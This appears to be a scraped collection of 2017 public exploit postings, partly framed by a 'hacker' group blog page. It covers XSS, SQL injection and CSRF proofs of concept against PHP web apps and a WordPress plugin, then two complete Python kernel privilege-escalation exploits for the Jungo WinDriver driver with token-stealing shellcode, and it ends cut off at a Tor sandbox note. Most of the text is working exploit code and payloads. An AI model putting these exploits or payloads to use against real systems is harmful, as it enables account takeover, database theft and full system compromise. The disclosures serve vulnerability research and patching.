# Exploit Title: Wordpress Plugin Participants Database < 1.7.5.10 - XSS
# Google Dork: inurl:wp-content/plugins/participants-database/
# Date: 01-Sep-17
# Exploit Author: Benjamin Lim
# Vendor Homepage: https://xnau.com/
# Software Link: https://wordpress.org/plugins/participants-database/
# Version: 1.7.5.9
# Tested on: Kali Linux 2.0
# CVE : CVE-2017-14126
1. Product & Service Introduction:
==================================
Participants Database is a Wordpress plugin for managing a database of
participants, members or volunteers. As of now, the plugin has been
downloaded 320,000 times and has 10,000+ active installs.
2. Technical Details & Description:
===================================
Cross site scripting (XSS) vulnerability in the Wordpress Participants
Database plugin 1.7.59 allows attackers to inject arbitrary javascript via
the Name parameter.
The XSS vulnerability is found on the participant signup form input
textfield. The get_field_value_display() function in
PDb_FormElement.class.php did not escape HTML special characters, allowing
an attacker to input javascript. The XSS code will be executed on 2 pages.
1) The "Thank you for signing up" page immediately after submitting the
form.
2) The page which is configured to output the list of participants with the
[pdb_list] shortcode.
3. Proof of Concept (PoC):
==========================
curl -k -F action=signup -F subsource=participants-database -F
shortcode_page=/?page_id=1 -F thanks_page=/?page_id=1 -F instance_index=2
-F pdb_data_keys=1.2.9.10 -F session_hash=0123456789 -F
first_name=<script>alert("1");</script> -F last_name=a -F email=a@a.com -F
mailing_list=No -F submit_button=Submit http://localhost/?page_id=1
To trigger manually, browse to the page, input the following in the form
and click Sign Up.
First Name: <script>alert("1");</script>
Last Name: test
Email: test@test.com
4. Mitigation
=============
Update to version 1.7.5.10
5. Disclosure Timeline
======================
2017/09/01 Vendor contacted
2017/09/02 Vendor responded
2017/09/03 Update released
2017/09/06 Advisory released to the public
6. Credits & Authors:
=====================
Benjamin Lim - [https://limbenjamin.com]
--
*Benjamin Lim*
E: mail@limbenjamin.com
PGP : https://limbenjamin.com/pgp
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863141456
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit : Cory Support (pr) SQL Injection Vulnerability
# Author : v3n0m
# Contact : v3n0m[at]outlook[dot]com
# Date : September, 06-2017 GMT +7:00 Jakarta, Indonesia
# Developer : Cory App
# Software : Cory Support
# App Link : http://coryapp.com/?product&index
# Demo : http://coryapp.com/demo/support/
# Tested On : Mac OS Sierra v10.12.6
# Credits : YOGYACARDERLINK, Dhea Dayanaya Fathin Karima, Don't Touch Me (Line Group) & Muhammad Panji, Alfath Dirk, Cafe BMW & YOU !!
1. Description
An attacker can exploit this vulnerability to read from the database.
The parameter 'pr' is vulnerable.
2. Proof of Concept
http://domain.tld/[path]/listfaq.php?pr=9999+and+1=2+union+all+select+null,version()--
# Exploitation via SQLMap
Parameter: pr (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pr=1 AND 4809=4809
Vector: AND [INFERENCE]
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: pr=1 UNION ALL SELECT NULL,CONCAT(0x7170706271,0x564f724b4475754c4c7a48714c59464c6c43704a636c6f72444471767a79716a6b6d4d6a72654b76,0x7170626b71)-- RNyi
Vector: UNION ALL SELECT NULL,[QUERY][GENERIC_SQL_COMMENT]
3. Security Risk
The security risk of the remote sql-injection web vulnerability in the Cory Support is estimated as high.
# # # # #
# Exploit Title: Advertiz PHP Script 0.2 - Cross-Site Request Forgery (Update Admin User&Pass)
# Dork: N/A
# Date: 06.09.2017
# Vendor Homepage: http://www.dijiteol.com/
# Software Link: http://www.dijiteol.com/p-Advertiz-PHP-Script--No-Accounts-Required--i-2.html
# Demo: http://dijiteol.com/demos/advertiz/
# Version: 0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
#
# Proof of Concept:
<html>
<body>
<form method="post" action="http://localhost/[PATH]/admin/editpersonal.php">
<!--Change admin username-->
<input name="login" type="text" size="20" maxlength="15" value="admin">
<!--Change admin password-->
<input name="pass" type="text" class="keyboardInput" size="20" maxlength="15" value="efe">
<input type="submit" name="Submit" value="Update">
</form>
</body>
</html>
# # # # #
# # # # #
# Exploit Title: Pay Banner Text Link Ad 1.0.6.1 - Cross-Site Request Forgery (Update Admin User&Pass)
# Dork: N/A
# Date: 06.09.2017
# Vendor Homepage: http://www.dijiteol.com/
# Software Link: http://www.dijiteol.com/p-Pay-Banner-Textlink-Ad-Pay-Banner-Advertisement-PHP-Script-i-1.html
# Demo: http://dijiteol.com/demos/pbtla
# Version: 1.0.6.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
#
# Proof of Concept:
<html>
<body>
<form method="post" action="http://localhost/[PATH]/admin/editpersonal.php">
<!--Change admin username-->
<input name="login" type="text" size="20" maxlength="15" value="admin">
<!--Change admin password-->
<input name="pass" type="text" class="keyboardInput" size="20" maxlength="15" value="efe">
<input type="submit" name="Submit" value="Update">
</form>
</body>
</html>
# # # # #
# -*- coding: utf-8 -*-
"""
Jungo DriverWizard WinDriver Kernel Pool Overflow Vulnerability
Download: http://www.jungo.com/st/products/windriver/
File: WD1240.EXE
Sha1: 3527cc974ec885166f0d96f6aedc8e542bb66cba
Driver: windrvr1240.sys
Sha1: 0f212075d86ef7e859c1941f8e5b9e7a6f2558ad
CVE: CVE-2017-14153
Author: Steven Seeley (mr_me) of Source Incite
Affected: <= v12.4.0
Thanks: b33f, ryujin and sickness
Analysis: http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html
Summary:
========
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
The specific flaw exists within the processing of IOCTL 0x953824b7 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.
Timeline:
=========
2017-08-22 – Verified and sent to Jungo via sales@/first@/security@/info@jungo.com
2017-08-25 – No response from Jungo and two bounced emails
2017-08-26 – Attempted a follow up with the vendor via website chat
2017-08-26 – No response via the website chat
2017-09-03 – Recieved an email from a Jungo representative stating that they are "looking into it"
2017-09-03 – Requested a timeframe for patch development and warned of possible 0day release
2017-09-06 – No response from Jungo
2017-09-06 – Public 0day release of advisory
Example:
========
C:\Users\Guest\Desktop>icacls poc.py
poc.py NT AUTHORITY\Authenticated Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
Mandatory Label\Low Mandatory Level:(I)(NW)
Successfully processed 1 files; Failed processing 0 files
C:\Users\Guest\Desktop>whoami
debugee\guest
C:\Users\Guest\Desktop>poc.py
--[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]
Steven Seeley (mr_me) of Source Incite
(+) spraying pool with mixed objects...
(+) sprayed the pool!
(+) making pool holes...
(+) made the pool holes!
(+) allocating shellcode...
(+) allocated the shellcode!
(+) triggering pool overflow...
(+) allocating pool overflow input buffer
(+) elevating privileges!
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Guest\Desktop>whoami
nt authority\system
C:\Users\Guest\Desktop>
"""
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time
from platform import release, architecture
ntdll = windll.ntdll
kernel32 = windll.kernel32
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0x0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_INVALID_HANDLE = 0xC0000008
SystemExtendedHandleInformation = 64
class LSA_UNICODE_STRING(Structure):
"""Represent the LSA_UNICODE_STRING on ntdll."""
_fields_ = [
("Length", USHORT),
("MaximumLength", USHORT),
("Buffer", LPWSTR),
]
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
"""Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
_fields_ = [
("Object", c_void_p),
("UniqueProcessId", ULONG),
("HandleValue", ULONG),
("GrantedAccess", ULONG),
("CreatorBackTraceIndex", USHORT),
("ObjectTypeIndex", USHORT),
("HandleAttributes", ULONG),
("Reserved", ULONG),
]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
"""Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
_fields_ = [
("NumberOfHandles", ULONG),
("Reserved", ULONG),
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]
class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
"""Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
_fields_ = [
("Name", LSA_UNICODE_STRING),
("Reserved", ULONG * 22),
]
class PROCESSENTRY32(Structure):
_fields_ = [
("dwSize", c_ulong),
("cntUsage", c_ulong),
("th32ProcessID", c_ulong),
("th32DefaultHeapID", c_int),
("th32ModuleID", c_ulong),
("cntThreads", c_ulong),
("th32ParentProcessID", c_ulong),
("pcPriClassBase", c_long),
("dwFlags", c_ulong),
("szExeFile", c_wchar * MAX_PATH)
]
Process32First = kernel32.Process32FirstW
Process32Next = kernel32.Process32NextW
def signed_to_unsigned(signed):
"""
Convert signed to unsigned integer.
"""
unsigned, = struct.unpack ("L", struct.pack ("l", signed))
return unsigned
def get_type_info(handle):
"""
Get the handle type information to find our sprayed objects.
"""
public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
size = DWORD(sizeof(public_object_type_information))
while True:
result = signed_to_unsigned(
ntdll.NtQueryObject(
handle, 2, byref(public_object_type_information), size, None))
if result == STATUS_SUCCESS:
return public_object_type_information.Name.Buffer
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(public_object_type_information, size.value)
elif result == STATUS_INVALID_HANDLE:
return None
else:
raise x_file_handles("NtQueryObject.2", hex (result))
def get_handles():
"""
Return all the processes handles in the system at the time.
Can be done from LI (Low Integrity) level on Windows 7 x86.
"""
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
size = DWORD (sizeof (system_handle_information))
while True:
result = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref(system_handle_information),
size,
byref(size)
)
result = signed_to_unsigned(result)
if result == STATUS_SUCCESS:
break
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(system_handle_information, size.value)
else:
raise x_file_handles("NtQuerySystemInformation", hex(result))
pHandles = cast(
system_handle_information.Handles,
POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
system_handle_information.NumberOfHandles)
)
for handle in pHandles.contents:
yield handle.UniqueProcessId, handle.HandleValue, handle.Object
def we_can_alloc_shellcode():
"""
This function allocates the shellcode @ the null page making
sure the new OkayToCloseProcedure pointer points to shellcode.
"""
baseadd = c_int(0x00000004)
null_size = c_int(0x1000)
tokenstealing = (
"\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x50\x8B\xC8\x8B\x80"
"\xB8\x00\x00\x00\x2D\xB8\x00\x00\x00\x83\xB8\xB4\x00\x00\x00\x04"
"\x75\xEC\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\xC2\x10"
"\x00" )
OkayToCloseProcedure = struct.pack("<L", 0x00000078)
sc = "\x42" * 0x70 + OkayToCloseProcedure
# first we restore our smashed TypeIndex
sc += "\x83\xC6\x0c" # add esi, 0c
sc += "\xc7\x06\x0a\x00\x08\x00" # mov [esi], 8000a
sc += "\x83\xee\x0c" # sub esi, 0c
sc += tokenstealing
sc += "\x90" * (0x400-len(sc))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(null_size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) error while allocating the null paged memory: %s" % dwStatus
return False
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, 0x00000004, sc, 0x400, byref(written))
if write == 0:
print "(-) error while writing our junk to the null paged memory: %s" % write
return False
return True
def we_can_spray():
"""
Spray the Kernel Pool with IoCompletionReserve and Event Objects.
The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length.
These are allocated from the Nonpaged kernel pool.
"""
handles = []
IO_COMPLETION_OBJECT = 1
for i in range(0, 25000):
handles.append(windll.kernel32.CreateEventA(0,0,0,0))
hHandle = HANDLE(0)
handles.append(ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT))
# could do with some better validation
if len(handles) > 0:
return True
return False
def alloc_pool_overflow_buffer(base, input_size):
"""
Craft our special buffer to trigger the overflow.
"""
print "(+) allocating pool overflow input buffer"
baseadd = c_int(base)
size = c_int(input_size)
input = "\x41" * 0x18 # offset to size
input += struct.pack("<I", 0x0000008d) # controlled size (this triggers the overflow)
input += "\x42" * (0x90-len(input)) # padding to survive bsod
input += struct.pack("<I", 0x00000000) # use a NULL dword for sub_4196CA
input += "\x43" * ((0x460-0x8)-len(input)) # fill our pool buffer
# repair the allocated chunk header...
input += struct.pack("<I", 0x040c008c) # _POOL_HEADER
input += struct.pack("<I", 0xef436f49) # _POOL_HEADER (PoolTag)
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x0000005c) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x00000001) # _OBJECT_HEADER (PointerCount)
input += struct.pack("<I", 0x00000001) # _OBJECT_HEADER (HandleCount)
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER (Lock)
input += struct.pack("<I", 0x00080000) # _OBJECT_HEADER (TypeIndex)
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER (ObjectCreateInfo)
# filler
input += "\x44" * (input_size-len(input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
return False
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
if write == 0:
print "(-) error while writing our input buffer memory: %s" % write
return False
return True
def we_can_trigger_the_pool_overflow():
"""
This triggers the pool overflow vulnerability using a buffer of size 0x460.
"""
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
DEVICE_NAME = "\\\\.\\WinDrvr1240"
dwReturn = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
inputbuffer = 0x41414141
inputbuffer_size = 0x5000
outputbuffer_size = 0x5000
outputbuffer = 0x20000000
alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size)
IoStatusBlock = c_ulong()
if driver_handle:
dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x953824b7,
inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size)
return True
return False
def we_can_make_pool_holes():
"""
This makes the pool holes that will coalesce into a hole of size 0x460.
"""
global khandlesd
mypid = os.getpid()
khandlesd = {}
khandlesl = []
# leak kernel handles
for pid, handle, obj in get_handles():
# mixed object attack
if pid == mypid and (get_type_info(handle) == "Event" or get_type_info(handle) == "IoCompletionReserve"):
khandlesd[obj] = handle
khandlesl.append(obj)
# Find holes and make our allocation
holes = []
for obj in khandlesl:
# obj address is the handle address, but we want to allocation
# address, so we just remove the size of the object header from it.
alloc = obj - 0x30
# Get allocations at beginning of the page
if (alloc & 0xfffff000) == alloc:
bin = []
# object sizes
CreateEvent_size = 0x40
IoCompletionReserve_size = 0x60
combined_size = CreateEvent_size + IoCompletionReserve_size
# after the 0x20 chunk hole, the first object will be the IoCompletionReserve object
offset = IoCompletionReserve_size
for i in range(offset, offset + (7 * combined_size), combined_size):
try:
# chunks need to be next to each other for the coalesce to take effect
bin.append(khandlesd[obj + i])
bin.append(khandlesd[obj + i - IoCompletionReserve_size])
except KeyError:
pass
# make sure it's contiguously allocated memory
if len(tuple(bin)) == 14:
holes.append(tuple(bin))
# make the holes to fill
for hole in holes:
for handle in hole:
kernel32.CloseHandle(handle)
return True
def trigger_lpe():
"""
This function frees the IoCompletionReserve objects and this triggers the
registered aexit, which is our controlled pointer to OkayToCloseProcedure.
"""
# free the corrupted chunk to trigger OkayToCloseProcedure
for k, v in khandlesd.iteritems():
kernel32.CloseHandle(v)
os.system("cmd.exe")
def main():
print "\n\t--[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]"
print "\t Steven Seeley (mr_me) of Source Incite\r\n"
if release() != "7" or architecture()[0] != "32bit":
print "(-) although this exploit may work on this system,"
print " it was only designed for Windows 7 x86."
sys.exit(-1)
print "(+) spraying pool with mixed objects..."
if we_can_spray():
print "(+) sprayed the pool!"
print "(+) making pool holes..."
if we_can_make_pool_holes():
print "(+) made the pool holes!"
print "(+) allocating shellcode..."
if we_can_alloc_shellcode():
print "(+) allocated the shellcode!"
print "(+) triggering pool overflow..."
if we_can_trigger_the_pool_overflow():
print "(+) elevating privileges!"
trigger_lpe()
if __name__ == '__main__':
main()
# # # # #
# Exploit Title: Pay Banner Text Link Ad 1.0.6.1 - SQL Injection
# Dork: N/A
# Date: 06.09.2017
# Vendor Homepage: http://www.dijiteol.com/
# Software Link: http://www.dijiteol.com/p-Pay-Banner-Textlink-Ad-Pay-Banner-Advertisement-PHP-Script-i-1.html
# Demo: http://dijiteol.com/demos/pbtla
# Version: 1.0.6.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/index.php?action=stats&id=[SQL]
#
# http://localhost/[PATH]/index.php?action=previewad&id=[SQL]
#
# Etc..
# # # # #
# -*- coding: utf-8 -*-
"""
Jungo DriverWizard WinDriver Kernel Out-of-Bounds Write Privilege Escalation Vulnerability
Download: http://www.jungo.com/st/products/windriver/
File: WD1240.EXE
Sha1: 3527cc974ec885166f0d96f6aedc8e542bb66cba
Driver: windrvr1240.sys
Sha1: 0f212075d86ef7e859c1941f8e5b9e7a6f2558ad
CVE: CVE-2017-14075
Author: Steven Seeley (mr_me) of Source Incite
Affected: <= v12.4.0
Thanks: b33f and sickness
Summary:
========
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
The specific flaw exists within the processing of IOCTL 0x953824a7 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in an out-of-bounds write condition. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.
Vulnerability:
==============
The vulnerability occurs in sub_405644 at loc_4056CD:
.text:004056CD loc_4056CD: ; CODE XREF: sub_405644+6A
.text:004056CD mov eax, [ebx]
.text:004056CF xor edx, edx
.text:004056D1 mov byte ptr [edi+eax], 0 ; null byte write
.text:004056D5 mov eax, P
.text:004056DA add [eax+880h], edi ; offset HalDispatchTable[1]+0x880 is null and writable
Exploitation:
=============
At 0x004056da there is a second write, but since HalDispatchTable[1]+0x880 points to a null dword that is in a writable location, no memory is modified outside of out null byte write (0x004056d1).
Since we can do that, we can keep calling the vuln ioctl code and push down the kernel pointer from HalDispatchTable[1] to reach userland. We could have just done 2 bytes, but I choose 3 for reliability.
Finally, the shellcode repairs the HalDispatchTable[1] pointer by reading HalDispatchTable[2] and calculating the offset to the HalDispatchTable[1] pointer and then re-writes the correct pointer back into the HalDispatchTable.
Timeline:
=========
2017-08-22 – Verified and sent to Jungo via sales@/first@/security@/info@jungo.com
2017-08-25 – No response from Jungo and two bounced emails
2017-08-26 – Attempted a follow up with the vendor via website chat
2017-08-26 – No response via the website chat
2017-09-03 – Recieved an email from a Jungo representative stating that they are "looking into it"
2017-09-03 – Requested a timeframe for patch development and warned of possible 0day release
2017-09-06 – No response from Jungo
2017-09-06 – Public 0day release of advisory
Example:
========
C:\Users\Guest\Desktop>icacls poc.py
poc.py NT AUTHORITY\Authenticated Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
Mandatory Label\Low Mandatory Level:(I)(NW)
Successfully processed 1 files; Failed processing 0 files
C:\Users\Guest\Desktop>whoami
debugee\guest
C:\Users\Guest\Desktop>poc.py
--[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]
Steven Seeley (mr_me) of Source Incite
(+) spraying pool with mixed objects...
(+) sprayed the pool!
(+) making pool holes...
(+) made the pool holes!
(+) allocating shellcode...
(+) allocated the shellcode!
(+) triggering pool overflow...
(+) allocating pool overflow input buffer
(+) elevating privileges!
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Guest\Desktop>whoami
nt authority\system
C:\Users\Guest\Desktop>
"""
import os
import sys
import struct
from ctypes import *
from ctypes.wintypes import *
from platform import release, architecture
kernel32 = windll.kernel32
ntdll = windll.ntdll
# GLOBAL VARIABLES
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0
class SYSTEM_MODULE_INFORMATION(Structure):
_fields_ = [("Reserved", c_void_p * 3), # this has an extra c_void_p because the first 4 bytes = number of return entries.
("ImageBase", c_void_p), # it's not actually part of the structure, but we are aligning it.
("ImageSize", c_ulong),
("Flags", c_ulong),
("LoadOrderIndex", c_ushort),
("InitOrderIndex", c_ushort),
("LoadCount", c_ushort),
("ModuleNameOffset", c_ushort),
("FullPathName", c_char * 256)]
def alloc_shellcode(base, input_size, HalDispatchTable1):
"""
allocates some shellcode
"""
print "(+) allocating shellcode @ 0x%x" % base
baseadd = c_int(base)
size = c_int(input_size)
# get the repair address
HalDispatchTable2 = struct.pack("<I", HalDispatchTable1+0x4)
# --[ setup]
input = "\x60" # pushad
input += "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]
input += "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET]
input += "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure)
input += "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]
# --[ copy system PID token]
input += "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)
input += "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] <-|
input += "\x2d\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET |
input += "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx |
input += "\x75\xed" # jnz ->|
input += "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]
input += "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx
# --[ recover]
input += "\xbe" + HalDispatchTable2 # mov esi, HalDispatchTable[2]
input += "\x8b\x16" # mov edx, [esi]
input += "\x81\xea\x12\x09\x00\x00" # sub edx, 0x912
input += "\x83\xee\x04" # sub esi, 0x4
input += "\x89\x16" # mov [esi], edx
input += "\x61" # popad
input += "\xC3" # ret
input += "\xcc" * (input_size-len(input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
return False
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
if write == 0:
print "(-) Error while writing our input buffer memory: %s" % write
return False
return True
def alloc(base, input_size):
"""
Just allocates things.
"""
baseadd = c_int(base)
size = c_int(input_size)
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
return False
return True
def mymemset(base, location, size):
"""
A cheap memset ¯\_(ツ)_/¯
"""
input = location * (size/len(location))
written = c_ulong()
write = kernel32.WriteProcessMemory(0xFFFFFFFF, base, input, len(input), byref(written))
if write == 0:
print "(-) Error while writing our input buffer memory: %s" % write
return False
return True
def get_HALDispatchTable_kernel_address():
"""
This function gets the HALDispatchTable's kernel address
"""
# allocate arbitrary buffer and call NtQuerySystemInformation
b = create_string_buffer(0)
systeminformationlength = c_ulong(0)
res = ntdll.NtQuerySystemInformation(11, b, len(b), byref(systeminformationlength))
# call NtQuerySystemInformation second time with right size
b = create_string_buffer(systeminformationlength.value)
res = ntdll.NtQuerySystemInformation(11, b, len(b), byref(systeminformationlength))
# marshal raw bytes for 1st entry
smi = SYSTEM_MODULE_INFORMATION()
memmove(addressof(smi), b, sizeof(smi))
# get kernel image name
kernelImage = smi.FullPathName.split('\\')[-1]
print "(+) found %s kernel base address: 0x%x" % (kernelImage, smi.ImageBase)
# load kernel image in userland and get HAL Dispatch Table offset
hKernelImage = kernel32.LoadLibraryA(kernelImage)
print "(+) loading %s in userland" % kernelImage
print "(+) found %s Userland Base Address : 0x%x" % (kernelImage, hKernelImage)
hdt_user_address = kernel32.GetProcAddress(hKernelImage,"HalDispatchTable")
print "(+) found HalDispatchTable userland base address: 0x%x" % hdt_user_address
# calculate HAL Dispatch Table offset in kernel land
hdt_kernel_address = smi.ImageBase + ( hdt_user_address - hKernelImage)
print "(+) found HalDispatchTable kernel base address: 0x%x" % hdt_kernel_address
return hdt_kernel_address
def write_one_null_byte(HWD, in_buffer, location):
"""
The primitive function
"""
mymemset(in_buffer, location, 0x1000)
if HWD:
IoStatusBlock = c_ulong()
dev_ioctl = ntdll.ZwDeviceIoControlFile(HWD,
None,
None,
None,
byref(IoStatusBlock),
0x953824a7, # target
in_buffer, # special buffer
0x1000, # just the size to trigger with
0x20000000, # whateva
0x1000 # whateva
)
# we could check dev_ioctl here I guess
return True
return False
def we_can_elevate(h, in_buffer, base):
"""
This just performs the writes...
"""
# get location of first byte write
where2write = struct.pack("<I", base + 0x3)
print "(+) triggering the first null byte write..."
if write_one_null_byte(h, in_buffer, where2write):
# get the location of the second byte write
where2write = struct.pack("<I", base + 0x2)
print "(+) triggering the second null byte write..."
if write_one_null_byte(h, in_buffer, where2write):
# get the location of the third byte write
where2write = struct.pack("<I", base + 0x1)
print "(+) triggering the third null byte write..."
if write_one_null_byte(h, in_buffer, where2write):
# eop
print "(+) calling NtQueryIntervalProfile to elevate"
arb = c_ulong(0)
ntdll.NtQueryIntervalProfile(0x1337, byref(arb))
return True
return False
def main():
print "\n\t--[ Jungo DriverWizard WinDriver Kernel Write EoP exploit ]"
print "\t Steven Seeley (mr_me) of Source Incite\r\n"
if release() != "7" and architecture()[0] == "32bit":
print "(-) this exploit will only work for Windows 7 x86."
print " patch the shellcode for other windows versions."
sys.exit(-1)
print "(+) attacking target WinDrvr1240"
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
DEVICE_NAME = "\\\\.\\WinDrvr1240"
dwReturn = c_ulong()
h = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
# get the second HalDispatchTable entry[0]
base = get_HALDispatchTable_kernel_address() + 0x4
# create some shellcode that patches the HalDispatchTable[1]
if not alloc_shellcode(0x000000a2, 0x1000, base):
print "(-) cannot allocate shellcode"
sys.exit(-1)
# alloc some memory
in_buffer = 0x41414141
in_size = 0x1000
if not alloc(in_buffer, 0x1000):
print "(-) cannot allocate target buffer"
sys.exit(-1)
if we_can_elevate(h, in_buffer, base):
os.system('cmd.exe')
else:
print "(-) exploit failed!"
if __name__ == '__main__':
main()
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1293&desc=2
**EDIT: I mixed up two different sandboxes; see the comment below for a correction.**
From inside the Linux sandbox described in
<https://blog.torproject.org/blog/tor-browser-70-released>, it is
still possible to talk to the X server without any restrictions.
This means that a compromised browser can e.g. use the
XTEST X protocol extension
